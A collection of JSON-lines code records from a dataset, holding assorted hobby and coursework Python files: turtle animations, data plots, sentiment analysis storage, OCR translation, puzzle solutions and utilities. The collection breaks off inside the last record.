wn.title(title)\n wn.bgcolor(\"black\")\n wn.colormode(255)\n\n pen = turtle.Turtle()\n # Déplacer en haut, à gauche de la fenêtre, et imprimer le titre de la chanson ?\n # turtle.write(title, move=False, font=('Arial', 20, 'normal'))\n pen.width(5)\n # Les deux lignes suivantes permettent d'accélérer l'animation pour éviter de couper les chansons\n # Vitesse de trace la plus rapide possible\n pen.speed(\"fastest\")\n # Empêche la mise à jour de la fenêtre. Les animations de la tortue de ne se voient pas tant que l'on\n # n'appelle pas wn.update(), cela permet de donner une impression d'animation instantanée\n wn.tracer(False)\n\n return wn, pen\n\n\ndef draw_rotating_square(wn, pen, angle):\n \"\"\"\n Fonction qui dessine des carrés dans une couleur aléatoire en donnant un angle de départ.\n Si on l'appelle en boucle on dessine une rosace.\n\n :param wn: Fenêtre de l'animation turtle.Screen()\n :type wn: turtle.Screen()\n :param pen: Tortue à utiliser pour générer l'animation\n :type pen: turtle.turtle()\n :param angle: Angle de rotation à utiliser\n :type angle: int\n :return: Rien\n :rtype: None\n \"\"\"\n\n # On se prépare à dessiner\n pen.down()\n # Choix au hasard de la couleur du carré, en mode RGB\n pen.color(random.randrange(0, 256), random.randrange(0, 256), random.randrange(0, 256))\n # On cherche à dessiner une rosace, on s'attend donc à tourner suffisamment pour atteindre les 360°\n pen.left(360 / angle)\n # Dessin du carré\n for _ in range(4):\n pen.forward(100)\n pen.left(90)\n pen.up()\n # On rafraîchie l'écran, tout ce qui était avant était invisible pour accélérer l'animation\n wn.update()\n\n\ndef hide_turtle(wn):\n \"\"\"\n Cette fonction ferme la fenêtre des animations. Elle doit être appelée après la fin de chaque animation\n\n :param wn: Fenêtre de l'animation à fermer turtle.Screen()\n :type wn: turtle.Screen()\n :return: Rien\n :rtype: None\n \"\"\"\n\n wn.tracer(True)\n wn.bye()\n\n\n# Tests des fonctions ci-dessus en appelant directement le programme depuis python\n# Test de plusieurs animations à la suite, pour tester la correction du plantage lors du lancement en séquence\nif __name__ == '__main__':\n window, stylo = init_turtle()\n for i in range(10):\n draw_rotating_square(window, stylo, 10)\n input(\"wait\")\n hide_turtle(window)\n window, stylo = init_turtle()\n for i in range(20):\n draw_rotating_square(window, stylo, 30)\n input(\"wait\")\n hide_turtle(window)\n window, stylo = init_turtle()\n for i in range(30):\n draw_rotating_square(window, stylo, 30)\n input(\"wait\")\n hide_turtle(window)\n","sub_path":"animations.py","file_name":"animations.py","file_ext":"py","file_size_in_byte":3988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"213144224","text":"import json\nfrom datetime import datetime\n\nimport matplotlib.pyplot as plt\n\nfilename = 'DataViz/shipwrecks.json'\n\nwith open (filename, encoding=\"utf8\") as f:\n all_ship_data = json.load(f)\n\nall_ship_dicts = all_ship_data['features']\n\nyears_lost = []\n\nfor ship_dict in all_ship_dicts:\n try: \n year_lost = int(ship_dict['properties']['LostYR'])\n except (ValueError,TypeError):\n print(f\"Missing info.\")\n else:\n years_lost.append(year_lost)\n\n# print(years_lost)\nplt.style.use('dark_background')\nplt.hist(years_lost, bins=20, color='blue')\nplt.ylabel(\"Frequency\")\nplt.xlabel(\"Year Lost\")\nplt.suptitle(\"Great Lakes Shipwrecks Year Lost\")\nplt.show()","sub_path":"DataViz/shipwrecks_histogram.py","file_name":"shipwrecks_histogram.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"554272477","text":"#-*- coding: utf-8 -*-\r\n\r\n# Developer : Jeong Wooyoung\r\n# Contact : gunyoung20@naver.com\r\n\r\nimport getpass, os, stat, shutil, re\r\nimport file_handler as fh\r\nimport numpy as np\r\nimport time\r\n\r\n\r\nclass StorageHandler :\r\n fh.dir = '%s/community_crawler/resources'%(os.getcwd())\r\n print(fh.dir)\r\n #fh.dir = '%s\\\\resources'%(os.getcwd())\r\n temp_dir = 'C:/Users/'+getpass.getuser()+'/AppData/Local/Temp'\r\n\r\n #########################################################################################################\r\n # Content(Text)\r\n #########################################################################################################\r\n # community document = [url, title, date_line, author, contents] if len(contents) >131072 : [url, title, date_line,author, [contents] ] where [contents] = [ contents[i:i+131072] for i in range (0, len(contents), 131072]\r\n # youtube document = [Youtube No, Youtube Id,Title, Published Time, Channel Id, Description]\r\n # youtube comment = [Comment No,Comment Id,Time,Author,Content]\r\n def getContents(self, keyword):\r\n documents = self.getDocuments(keyword)\r\n #comments = self.getComments(keyword)\r\n contents = []\r\n print(len(documents))\r\n try:\r\n for doc in documents:\r\n temp = \"\"\r\n i = 0\r\n if len(doc) == 7:#7:humoruniv \r\n i = 6\r\n elif len(doc) == 4:#4:instagram\r\n i = 3\r\n elif len(doc) == 5:# 나머지..\r\n i = 4\r\n #print(len(doc))\r\n # if i ==0:\r\n # print(len(doc))\r\n while True:\r\n temp += doc[i]\r\n #print(doc[i])\r\n #time.sleep(2)\r\n i+=1\r\n if i >= len(doc):\r\n break\r\n content = self.reformContent(temp)\r\n if len(content) > 0:\r\n contents.append(content)\r\n except Exception as e:\r\n print(e)\r\n print(len(contents))\r\n return contents\r\n \"\"\"\r\n for doc in documents:\r\n # doc[4] ~ doc[len(doc)-1]\r\n temp = \"\"\r\n i=4\r\n while True:\r\n temp += doc[i]\r\n if i == len(doc):\r\n break\r\n content = self.reformContent(temp)\r\n# content = self.reformContent(doc[len(doc)-1])\r\n# content = self.reformContent(doc[4])\r\n if len(content) > 0:\r\n contents.append(content)\r\n# for com in comments:\r\n# content = self.reformContent(com[len(com)-1])\r\n# content = self.reformContent(com[4])\r\n# if len(content) > 0:\r\n# contents.append(content)\r\n print(len(contents))\r\n return contents\r\n \"\"\"\r\n\r\n def getDocuments(self, target):\r\n documents = []\r\n for c_dir in fh.community_dirs:\r\n try:\r\n docs = self.loadDoc(c_dir, target)\r\n except:\r\n continue\r\n if not docs is None:\r\n documents += docs\r\n return documents\r\n def getComments(self, target):\r\n comments = []\r\n for c_dir in fh.comment_dirs:\r\n path = c_dir + '/comments/' + target\r\n print(path)\r\n if( os.path.isdir(path)):\r\n files = os.listdir(path)\r\n for file in files:\r\n coms = fh.loadCSV(path, file)\r\n comments += coms\r\n return comments\r\n\r\n def saveDoc(self, dir, target, document, columns=[['URL', 'Title', 'Date Time', 'Author', 'Contents']]):\r\n if os.path.isfile(fh.reformPath(dir, target)):\r\n fh.addCSVLine(dir, target, document)\r\n else:\r\n fh.saveCSV(dir, target, document, columns)\r\n def loadDoc(self, dir, target):\r\n if os.path.isfile(fh.reformPath(dir, target)):\r\n return fh.loadCSV(dir, target)\r\n return None\r\n\r\n #########################################################################################################\r\n # vectorization\r\n #########################################################################################################\r\n def saveVectorizedContents(self, contents, path=None, file='vectorized_contents', using_dict=False):\r\n if path is None: path = '%s/Backup' % (os.getcwd()).replace('\\\\', '/')\r\n path += '/using_dict' if using_dict else '/un_using_dict'\r\n fh.clearDirs(path)\r\n for i, c in enumerate(contents):\r\n fh.saveCSV(path, '%s_%d.csv' % (file, i + 1), c)\r\n def loadVectorizedContents(self, path=None, file='vectorized_contents', using_dict=False):\r\n if path is None: path = '%s/Backup' % (os.getcwd()).replace('\\\\', '/')\r\n path += '/using_dict' if using_dict else '/un_using_dict'\r\n contents = np.array(fh.loadCSV(path, '%s_1.csv' % (file)), dtype=np.float_)\r\n contents = contents.reshape(1, contents.shape[0], contents.shape[1])\r\n files = os.listdir(path)\r\n for i in range(1, len(files)):\r\n content = np.array(fh.loadCSV(path, 'vectorized_contents_%d.csv' % (i + 2)), dtype=np.float_)\r\n try:\r\n contents = np.concatenate((contents, [content]), axis=0)\r\n except Exception as e:\r\n print(e)\r\n return np.array(contents)\r\n\r\n #########################################################################################################\r\n # sentiment analysis\r\n #########################################################################################################\r\n def getSentiDictionary(self):\r\n lines = fh.loadCSV(os.getcwd(), 'sd.csv', column_rows=1, encode='MS949')\r\n dict = {}\r\n for w, p, s in lines:\r\n ogn = re.sub('(다|하다|이다)$', '', w)\r\n if len(ogn) < 2 :\r\n ogn = w[:-1]\r\n if len(ogn) < 2 : ogn = w\r\n if not ogn in dict.keys():\r\n dict[ogn] = float(s)\r\n else:\r\n dict[ogn] = (dict[ogn] + float(s)) / 2\r\n return dict\r\n\r\n #########################################################################################################\r\n # calculation\r\n #########################################################################################################\r\n\r\n def saveElmoWords(self,result,num_of_words,path=None,file='Vectors'):\r\n print(\"Start saveElmoScore\")\r\n self.saveElmoScore(result,num_of_words,path,file)\r\n print(\"Start saveElmoRelated\")\r\n self.saveElmoRelated(result,num_of_words,path,file)\r\n\r\n def saveElmoScore(self,result,num_of_words,path=None,file='Vectors'):\r\n line = []\r\n for w in result.keys():\r\n if num_of_words[w] > 9:\r\n line.append([w,num_of_words[w],result[w]['score']['total'],result[w]['count']['total'],result[w]['score']['p'],result[w]['count']['p'],\r\n result[w]['score']['n'],result[w]['count']['n']])\r\n line.sort(key = lambda x:x[1],reverse = True) # 점수 / 빈도수로\r\n if path is None: path = '%s/Results/Scores' % (os.getcwd()).replace('\\\\', '/')\r\n fh.saveCSV(path, file, line, columns=[['Word', 'Count', 'Score', 'Senti-Count', 'P_Score', 'P_Count', 'N_Score', 'N_Count']])\r\n return \r\n\r\n def saveElmoRelated(self,result,num_of_words,path=None,file='Vectors'):\r\n lines = []\r\n line =[]\r\n for w in result:\r\n if num_of_words[w] >9:\r\n related = result[w]['related']\r\n #print(related)\r\n st_words = sorted(related.items(), key=(lambda x:x[1]['count']), reverse=True)\r\n line=[w,num_of_words[w]]#,result[w]]\r\n for rw, info in st_words:\r\n #print(info)\r\n if info['count'] >= 5:\r\n #print(info['count'])\r\n line+=(['%s(%f, %d)'%(rw, info['score'], info['count'])])\r\n # print(line)\r\n #lines.append(line+(['%s(%f, %d)'%(rw, info['score'], info['count'])]))\r\n lines.append(line)\r\n #lines.append([w,num_of_words[w],result[w]]+['%s(%f, %d)'%(rw, info['score'], info['count']) for rw, info in st_words])\r\n #print(lines)\r\n lines.sort(key = lambda x: x[1],reverse = True)\r\n \r\n if path is None: path = '%s/Results/Related' % (os.getcwd()).replace('\\\\', '/')\r\n fh.saveCSV(path, file, lines, columns=[['Word', 'Related word & Score(\"word(score, count)\")']])\r\n return \r\n\r\n\r\n\r\n\r\n def saveSentiWords(self, selected_words, num_of_words, senti_words, path=None, file='Vectors'):\r\n self.saveScoreOfWords(selected_words, num_of_words, senti_words, path, file)\r\n self.saveRelatedOfWords(selected_words, senti_words, path, file)\r\n\r\n # selected_words = [word]\r\n # num_of_words = {word:count}\r\n # senti_words_in_sentence = {word:{'score':__score__, 'count':__count__}}\r\n # score = {'P':positive score, 'N':negative score, 'total':sum score}\r\n # count = {'P':positive count, 'N':negative count, 'total':sum count}\r\n # senti_words = {word:{'score':score,'count':count, 'related':senti_words_in_sentence}}\r\n def saveScoreOfWords(self, selected_words, num_of_words, senti_words, path=None, file='Vectors'):\r\n lines = []\r\n for w in selected_words:\r\n score = senti_words[w]['score']\r\n count = senti_words[w]['count']\r\n lines.append([w, num_of_words[w], score['total'], count['total'], score['P'], count['P'], score['N'], count['N']])\r\n if path is None: path = '%s/Results/Scores' % (os.getcwd()).replace('\\\\', '/')\r\n fh.saveCSV(path, file, lines, columns=[['Word', 'Count', 'Score', 'Senti-Count', 'P_Score', 'P_Count', 'N_Score', 'N_Count']])\r\n def loadScoreOfWords(self, path=None, file='Vectors.csv'):\r\n if path is None: path = '%s/Results/Scores' % (os.getcwd()).replace('\\\\', '/')\r\n lines = fh.loadCSV(path, file, column_rows=1)\r\n selected_words = []\r\n num_of_words = {}\r\n senti_words_of_score = {}\r\n for line in lines:\r\n w = line[0]\r\n selected_words.append(w)\r\n num_of_words[w] = int(line[1])\r\n\r\n score = {'total':float(line[2]), 'P':float(line[4]), 'N':float(line[6])}\r\n count = {'total':int(line[3]), 'P':int(line[5]), 'N':int(line[7])}\r\n senti_words_of_score[w] = {'score':score, 'count':count}\r\n\r\n return selected_words, num_of_words, senti_words_of_score\r\n\r\n # senti_words_in_sentence = {word:{'score':__score__, 'count':__count__}}\r\n # score = {'P':positive score, 'N':negative score, 'total':sum score}\r\n # count = {'P':positive count, 'N':negative count, 'total':sum count}\r\n # senti_words = {word:{'score':score,'count':count, 'related':senti_words_in_sentence}}\r\n def saveRelatedOfWords(self, selected_words, senti_words, path=None, file='Vectors'):\r\n lines = []\r\n for w in selected_words:\r\n related = senti_words[w]['related']\r\n st_words = sorted(related.items(), key=(lambda x:x[1]['count']), reverse=True)\r\n lines.append([w]+['%s(%f, %d)'%(rw, info['score'], info['count']) for rw, info in st_words])\r\n if path is None: path = '%s/Results/Related' % (os.getcwd()).replace('\\\\', '/')\r\n fh.saveCSV(path, file, lines, columns=[['Word', 'Related word & Score(\"word(score, count)\")']])\r\n def loadRelatedOfWords(self, path=None, file='Vectors.csv'):\r\n if path is None: path = '%s/Results/Related' % (os.getcwd()).replace('\\\\', '/')\r\n lines = fh.loadCSV(path, file, column_rows=1)\r\n selected_words = []\r\n related_senti_words = {}\r\n for line in lines:\r\n word = line[0]\r\n selected_words.append(word)\r\n\r\n senti_words_in_sentence = {}\r\n for row in line[1:]:\r\n w = row[:row.find('(')]\r\n score = float(row[row.find('(')+1:row.find(',')])\r\n count = int(row[row.find(',')+1:row.find(')')])\r\n senti_words_in_sentence[w] = {'score':score, 'count':count}\r\n related_senti_words[word] = senti_words_in_sentence\r\n\r\n return selected_words, related_senti_words\r\n\r\n #########################################################################################################\r\n #########################################################################################################\r\n def reformContent(self, content):\r\n tmp = content\r\n tmp = re.sub('[ ]?-[ a-zA-Z\\']+$', '', tmp)\r\n tmp = re.sub('[ㄱ-ㅎㅏ-ㅣ]+', '', tmp)\r\n tmp = re.sub('[ ]{2,}|[.]{2,}', ' ', tmp)\r\n# tmp = re.sub('([!?]+([ ]+)?)|([(){}\\[\\]].+[(){}\\[\\]])', '', tmp)\r\n tmp = re.sub('http[s]?://[a-zA-Z\\-_0-9]+\\.[a-zA-Z\\-_0-9.]+(/[a-zA-Z\\-_0-9./=&?∣]+)?', '', tmp)\r\n tmp = re.sub('cafe.[a-zA-Z\\-_0-9]+\\.[a-zA-Z\\-_0-9.]+(/[a-zA-Z\\-_0-9./=&?]+)?', '', tmp)\r\n tmp = re.sub('[a-zA-Z\\-_0-9]+@[a-zA-Z\\-_0-9]+\\.[a-zA-Z\\-_0-9.]+', '', tmp)\r\n tmp = re.sub('[가-힣]+([ ]?[0-9]+)?[ ]?:[ ]?|[0-9]+[ ]?:[ ]?', ' ', tmp)\r\n tmp = re.sub('[^가-힣0-9a-zA-Z\\n\\t\\r ]+|[.]+', ' ', tmp)\r\n tmp = re.sub('[\\n ]+', ' ', tmp)\r\n tmp = re.sub('^[ ]+|[ ]+$', '', tmp)\r\n return tmp\r\n\r\n\r\n def clearTemporary(self):\r\n try:\r\n shutil.rmtree(self.temp_dir, ignore_errors=True, onerror=self.remove_readonly)\r\n except Exception as e:\r\n pass\r\n def remove_readonly(self, func, path, excinfo):\r\n os.chmod(path, stat.S_IWRITE)\r\n func(path)\r\n","sub_path":"ELMO/knowledge_based_sentiment_analysis/storage_handler.py","file_name":"storage_handler.py","file_ext":"py","file_size_in_byte":13823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"417453091","text":"\n\nfrom django.db import models\nfrom django.forms.widgets import TextInput\n\nfrom django.contrib import admin\n\ndefault_overrides = {\n models.CharField: {'widget': TextInput(attrs={'class': 'span5'})},\n # models.TextField: {'widget': RedactorWidget(editor_options={'lang': 'en'})},\n # models.ForeignKey: {'widget': LinkedSelect},\n}\n\ndef fix_translations(modeladmin, request, queryset):\n for obj in queryset:\n modeladmin.fix_translations(obj)\nfix_translations.short_description = \"Fix empty translations\"\n\n\n\nclass DefaultFilterMixIn(admin.ModelAdmin):\n def changelist_view(self, request, extra_context=None):\n ref = request.META.get('HTTP_REFERER', '')\n path = request.META.get('PATH_INFO', '')\n if not ref.split(path)[-1].startswith('?'):\n q = request.GET.copy()\n # use try/except in case default_filters isn't defined\n try:\n for filter in self.default_filters:\n key = filter.split('=')[0]\n value = filter.split('=')[1]\n q[key] = value\n request.GET = q\n except:\n request.GET = q\n request.META['QUERY_STRING'] = request.GET.urlencode()\n return super(DefaultFilterMixIn, self).changelist_view(request, extra_context=extra_context)\n\n\n\n","sub_path":"cratis_admin/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"574573169","text":"# -*- coding: utf-8 -*- # \n# by oldj http://oldj.net/ #\nimport pyHook\n\n\n\ndef main():\n f = open(\"f:\\mm.txt\",\"a+\");\n i=0;\n while i<10:\n f.write(\"dsfdsafds\");\n f.write(\"\\n\");\n i=i+1;\n\nif __name__ == \"__main__\": \n main()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"336307120","text":"# -*- coding: utf-8 -*-\n\"\"\"Rozwiązanie zadania 206.\"\"\"\nfrom Task203 import calc_idf\nfrom Task204 import calc_tf_idf\nfrom math import sqrt\n\ndef cosine_score(simple_index, query, document):\n \"\"\"Oblicza cosine score.\"\"\"\n terms = set(simple_index.inverted_index.keys()).union(query)\n doc_vector = [calc_tf_idf(simple_index, term, document) for term in terms]\n qry_vector = []\n for term in terms:\n value = 0\n if term in query:\n value = calc_idf(simple_index, term) * query.count(term)\n qry_vector.append(value)\n num = sum(a*b for a, b in zip(doc_vector, qry_vector))\n den = sqrt(sum(a*a for a in doc_vector))*sqrt(sum(a*a for a in qry_vector))\n return num/den","sub_path":"isi/crawler/Task206.py","file_name":"Task206.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"509442245","text":"import pyautogui\nfrom time import sleep\nimport pytesseract\nimport keyboard\nimport googletrans\nimport pyttsx3\n\n\ndef sp(text):\n print(text)\n speak(text)\n\n\n# make a program that will take a screenshot of the screen and save it to a file\n# then it will read the text from the file and translate it to english\n# then it will speak the text\n\n# take a screenshot of area around the cursor\n\n\ndef screenshot():\n x = pyautogui.position()[0]\n y = pyautogui.position()[1]\n\n width = 100\n height = 30\n\n img = pyautogui.screenshot(\"screenshot.png\", region=(x + 10, y, width, height))\n print(\"Screenshot taken\")\n\n img.save(\"screenshot.png\")\n\n # import mss\n # import mss.tools\n\n # with mss.mss() as sct:\n # # The screen part to capture\n # region = {'top': y, 'left': x, 'width': width, 'height': height}\n\n # # Grab the data\n # img = sct.grab(region)\n\n # # Save to the picture file\n # mss.tools.to_png(img.rgb, img.size, output='screenshot.png')\n\n return img\n\n\ndef ocr():\n pytesseract.pytesseract.tesseract_cmd = r\"C:\\Program Files\\Tesseract-OCR\\tesseract\"\n return pytesseract.image_to_string(screenshot(), lang=\"chi_tra_vert\")\n\n\ndef translate():\n text = ocr()\n print(text)\n translator = googletrans.Translator()\n translation = translator.translate(text, dest=\"en\")\n return translation.text\n\n\ndef speak(text):\n engine = pyttsx3.init(\"sapi5\")\n voices = engine.getProperty(\"voices\")\n engine.setProperty(\"voice\", voices[1].id)\n engine.say(text)\n engine.runAndWait()\n\n\ndef main():\n while True:\n if keyboard.is_pressed(\"q\"):\n sp(translate())\n\n else:\n sleep(0.1)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"323179471","text":"class Solution(object):\n def matrixReshape(self, nums, r, c):\n \"\"\"\n :type nums: List[List[int]]\n :type r: int\n :type c: int\n :rtype: List[List[int]]\n \"\"\"\n if len(nums)*len(nums[0]) != r * c:\n return nums;\n\n result = list()\n inList = list()\n count = 0\n\n for i in range(r):\n for j in range(c):\n inList.append(self.getObject(nums, count))\n count += 1\n result.append(inList)\n inList = list()\n\n return result\n\n def getObject(self, nums, count):\n row = (int)(count/len(nums[0]))\n column = count%len(nums[0])\n return nums[row][column]\n","sub_path":"Reshape_the_Matrix.py","file_name":"Reshape_the_Matrix.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"383699605","text":"import pandas as pd\nimport mplfinance as mpf\nfrom datetime import date\nfrom Study import MovingAverage\nimport numpy as np\nfrom Data import Data\n\nclass Stock:\n def __init__(self,ticker,filename):\n self.ticker = ticker\n self.plots = []\n self.candles = pd.read_csv(filename, index_col=0, parse_dates=True)\n self.data = Data(self.candles.reset_index().to_dict(orient='list'))\n self.curr_panel = 1\n \n def plot(self):\n mpf.plot(self.candles, type='candle', volume=True, style='blueskies', main_panel=0, volume_panel=self.curr_panel, addplot=self.plots)\n \n def add_study(self, study):\n data_points = study(self.data)\n\n for name, plot in study.plots.items():\n plot_type = plot['type'] if 'type' in plot else 'line'\n color = plot['color'] if 'color' in plot else 'blue'\n if study.lower:\n self.plots.append(mpf.make_addplot(data_points[name], panel=self.curr_panel, type=plot_type, color=color, secondary_y=False))\n else:\n self.plots.append(mpf.make_addplot(data_points[name], panel=0, type=plot_type, color=color, secondary_y=False))\n if study.lower:\n self.curr_panel += 1\n print(\"study added\")\n\n def addplot(self, data, lower=False, plot_type='line', color='blue'):\n if lower:\n self.plots.append(mpf.make_addplot(data, panel=self.curr_panel, type=plot_type, color=color))\n self.curr_panel += 1\n else:\n self.plots.append(mpf.make_addplot(data, panel=0, type=plot_type, color=color))\n\n def __str__(self):\n return f\"{self.ticker}\"\n","sub_path":"Stock.py","file_name":"Stock.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"216519517","text":"# Copyright 2010 Ricoh Innovations, Inc.\n#\n# Script to read, parse, and print contents of a config file, such as a\n# logger config.\n#\n\nimport sys\nimport ConfigParser\n\nargs = sys.argv[1:]\npaths = args if args else 'dec_logger.config'\nprint >>sys.stderr, 'config paths:', paths\ncp = ConfigParser.ConfigParser()\npaths_read = cp.read(paths)\nprint >>sys.stderr, 'Paths read successfullly:', paths_read\ncp.write(sys.stdout)\n","sub_path":"ew/printconfig.py","file_name":"printconfig.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"635014767","text":"\n# coding: utf-8\n\n# In[ ]:\n\nimport cv2\nprint(cv2.__version__)\nimport numpy as np\n\n\n# This code shows how to read and display an image. Press any key to make it disappear.\n\n# In[1]:\n\ndef show_small(img, lab = 'this is a test'):\n # the images are large --- resize to show on screen\n imS = cv2.resize(img, (850, 1100)) \n cv2.imshow(lab, imS)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\ndef save_small(img, filen = 'name'):\n imS = cv2.resize(img, (850, 1100)) \n cv2.imwrite(filen + '.png', imS)\n\n\n# In[ ]:\n\n# 1) read image and convert to grayscale\nfname = \"../test/pages/pg_0002.pdf.jpg\"\nimg = cv2.imread(fname)\nimg = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\nshow_small(img)\n\n\n# In[ ]:\n\n# 2) Apply adaptive threshold to ~img\nimg2 = cv2.adaptiveThreshold(cv2.bitwise_not(img),255, \n cv2.ADAPTIVE_THRESH_MEAN_C,\n cv2.THRESH_BINARY, \n 15, -2)\nshow_small(img2)\n\n\n# In[ ]:\n\n# 3) Horizontal lines\nhorizontal = img2.copy()\n# prepare structure\nhorizontalsize = int(horizontal.shape[1] / 40) \n# note: if I use a value > 30, I capture also some notes; \n# if much lower, I lose some lines\nhorizontalStructure = cv2.getStructuringElement(cv2.MORPH_RECT, \n (horizontalsize,1))\n## Apply morphology operations\nhorizontal = cv2.erode(horizontal, horizontalStructure, (-1, 1))\nhorizontal = cv2.dilate(horizontal, horizontalStructure, (-1, 1))\n\nshow_small(horizontal)\n\n\n# In[ ]:\n\n# 4) Vertical stuff\nvertical = img2.copy()\n# prepare structure\nverticalsize = int(vertical.shape[0] / 650) \nverticalStructure = cv2.getStructuringElement(cv2.MORPH_RECT, \n (1, verticalsize))\n## Apply morphology operations\nvertical = cv2.erode(vertical, verticalStructure, (-1, -1))\nvertical = cv2.dilate(vertical, verticalStructure, (-1, -1))\nshow_small(vertical)\n\n\n# In[ ]:\n\nhorizontalsize\n\n\n# In[ ]:\n\n\n\n","sub_path":"code/test_find_lines.py","file_name":"test_find_lines.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"412173121","text":"__author__ = 'react'\n__rev__ = 0.1\n\nimport random\nimport os\nimport imghdr\nimport base64\nimport time\n\nALPHABET = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\n\nclass EMLCollector(object):\n def __init__(self, from_mail, to_mails):\n self.directory = os.getcwd()\n self.boundarys = self.boundary()\n self.from_mail = from_mail\n self.to_mails = to_mails\n self.charset = 'windows-1251'\n self.template = 'Content-Type: multipart/mixed; boundary=\"{}\"\\n\\n--{}'.format(self.boundarys, self.boundarys)\n self.multi = \"\"\"\n--{}\nContent-Type: multipart; name=\"{}\"\nContent-Transfer-Encoding: base64\nContent-Disposition: attachment; filename=\"{}\"\n \"\"\"\n self.message = ''\n\n def boundary(self):\n b = ''\n rands = random.Random()\n size = rands.randint(10, 20)\n for i in range(size):\n b += ALPHABET[rands.randint(0, 61)]\n return b\n\n def images(self):\n files = [f for f in os.listdir(self.directory) if os.path.isfile(os.path.join(self.directory, f)) and imghdr.what(os.path.join(self.directory, f))]\n self.message += \"attachments: \\n\"\n for file in files:\n self.message += file+'\\n'\n for file in files:\n self.message += self.multi.format(self.boundarys, file, file) + '\\n\\n'\n f_data = open(os.path.join(self.directory, file), 'rb').read()\n f = base64.standard_b64encode(f_data)\n self.message += f.decode()+'\\n\\n'\n self.message += '--{}'.format(self.boundarys)\n\n def collect(self):\n self.message += 'From: =?{}?B?bWU=?=<{}>\\n'.format(self.charset, self.from_mail)\n self.message += 'To: =?{}?B?dG8=?=<{}>\\n'.format(self.charset, '>, <'.join(self.to_mails))\n self.message += 'Subject: {}\\n'.format('Pictures from dir')\n self.message += 'Date: {}\\n'.format(time.strftime('%d %b %y %H:%M:%S'))\n self.message += 'MIME-Version: 1.0\\n'\n self.message += self.template + '\\n'\n self.images()\n return self.message","sub_path":"emlcollector.py","file_name":"emlcollector.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"197840174","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom tifffile import imread\n\nrecon = imread('../slice_samples/recon_full_07000.tiff').flatten()\nrecon8 = imread('../slice_samples/recon_07000.tiff').flatten()\n\nplt.figure(1)\nplt.hist(recon.flatten(), bins=512, color='black')\ny1 = 0\ny2 = 0.65e7\nplt.plot([-6.68e-4, -6.68e-4], [y1, y2], 'k:')\nplt.plot([0.001, 0.001], [y1, y2], 'k:')\nplt.ylim([y1, y2])\nplt.savefig('figs/recon_orig_hist.png')\n\nplt.figure(2)\nplt.hist(recon8.flatten(), bins=256, color='black')\nplt.ylim([0, 6e5])\nplt.savefig('figs/recon_crop8_hist.png')\n","sub_path":"notes/2018-09-17-bit-depth/report/make_hists.py","file_name":"make_hists.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"245048977","text":"from itertools import product\nfrom collections import defaultdict\nimport operator\n\ndef parse(txt, dim):\n g = set()\n ext = dim - 2\n lines = txt.splitlines()\n for y in range(len(lines)):\n for x, v in enumerate(lines[y]): \n if v == \"#\":\n g.add((x, y) + (0,) * ext)\n return g\n\nwith open(\"input.txt\") as f:\n txt = f.read()\n\ndef sum(p1, p2):\n return tuple(map(operator.add, p1, p2)) \n\ndef neighbors(p):\n m = [(0, -1, 1) for i in range(len(p))]\n gen = product(*m)\n next(gen) #drop (0, 0, ..., 0)\n for np in gen:\n yield sum(p, np)\n\ndef step(grid):\n counts, ngrid = defaultdict(int), set()\n for p in grid:\n for np in neighbors(p):\n counts[np] += 1 \n for p, v in counts.items():\n if p in grid and v in [2, 3]:\n ngrid.add(p) \n elif v == 3:\n ngrid.add(p)\n return ngrid\n \ndef part1(t = txt):\n g = parse(t, 3)\n for _ in range(6):\n g = step(g)\n return len(g)\n\ndef part2(t = txt):\n g = parse(t, 4)\n for _ in range(6):\n g = step(g)\n return len(g)\n\n","sub_path":"17/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"47064063","text":"import copy\ndef DFS(n,computers,curr,queue):\n for k in range(n):\n if computers[curr][k]==1 and k!=curr:\n if k not in queue:\n queue.append(k)\n DFS(n,computers,k,queue)\n\n \ndef solution(n, computers):\n queueofconnected=[]\n answer = 0\n for i in range (n):\n if i not in queueofconnected:\n DFS(n,computers,i,queueofconnected)\n answer+=1\n return answer\n\nprint(solution(3,[[1,1,0],[1,1,0],[0,0,1]]))","sub_path":"programmers/ex/python/network/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"70793599","text":"\"\"\"commands.py: Functions that handle the weechat \"/viola\" 